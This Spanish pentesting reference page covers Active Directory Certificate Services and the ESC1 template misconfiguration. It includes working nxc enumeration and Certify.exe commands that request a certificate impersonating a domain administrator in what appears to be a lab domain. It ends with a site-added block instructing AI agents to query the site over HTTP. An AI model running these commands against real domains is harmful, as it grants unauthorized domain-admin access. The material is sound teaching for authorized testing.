# AD CS

<table><thead><tr><th width="136.4000244140625">Componente</th><th>Función</th></tr></thead><tbody><tr><td><strong>Enterprise CA</strong></td><td>Autoridad de certificación integrada con Active Directory</td></tr><tr><td><strong>Certificate Templates</strong></td><td>Plantillas que definen qué permisos, usos y configuraciones tienen los certificados emitidos</td></tr><tr><td><strong>Enrollment</strong></td><td>Proceso por el cual un usuario o máquina solicita un certificado</td></tr><tr><td><strong>PKINIT</strong></td><td>Autenticación Kerberos mediante certificado (en lugar de hash o password)</td></tr></tbody></table>

Flujo común de emisión de certificados:

1. El usuario o sistema solicita un certificado a la CA.
2. La CA valida si puede emitir ese certificado (según la plantilla).
3. Si todo es correcto, emite un certificado firmado digitalmente.
4. Ese certificado puede ser usado como mecanismo de autenticación.

{% hint style="danger" %}
L**a lógica de emisión puede estar mal configurada**, permitiendo:

* Que usuarios normales generen certificados que impersonan a otros usuarios (como Domain Admin)
* Que cualquier máquina pueda pedir certificados para autenticarse como otra
* Que un atacante persista generando certificados válidos incluso después de un reseteo de contraseñas
  {% endhint %}

```bash
# Discover ADCS servers in the environment
nxc ldap 192.168.56.10-23 -u '' -p '' -M adcs
```

### ESC1: Plantillas de Certificado Desconfiguradas

Cuando todas estas condiciones se cumplen, se puede solicitar un certificado para cualquier usuario del dominio:

1. **`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`** habilitada.
2. **Autenticación del Cliente** o **Cualquier Propósito** EKU (pkiextendedkeyusage = Client Authentication).
3. **Usuarios de Dominio** con permisos de inscripción.
4. **Sin aprobación del manager** requerido.

Identificación de plantillas vulnerables:

```powershell
Certify.exe find /vulnerable /enabled /enrolleeSuppliesSubject
```

Solicitud de certificado en nombre del administrador:

{% code overflow="wrap" %}

```powershell
Certify.exe request /ca:braavos.essos.local\ESSOS-CA /template:ESC1 /altname:essos\administrator /sid:S-1-5-21-1394808576-3393508183-1134699666-500
```

{% endcode %}

## Referencias

* [https://xbz0n.sh/blog/adcs-complete-attack-reference](<https://xbz0n.sh/blog/adcs-complete-attack-reference&#xA;&#xA;&#xA;>)
* <https://specterops.io/wp-content/uploads/sites/3/2022/06/an_ace_up_the_sleeve.pdf>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.xtormin.com/pentesting-en-infraestructuras/red-interna/active-directory/ad-cs.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
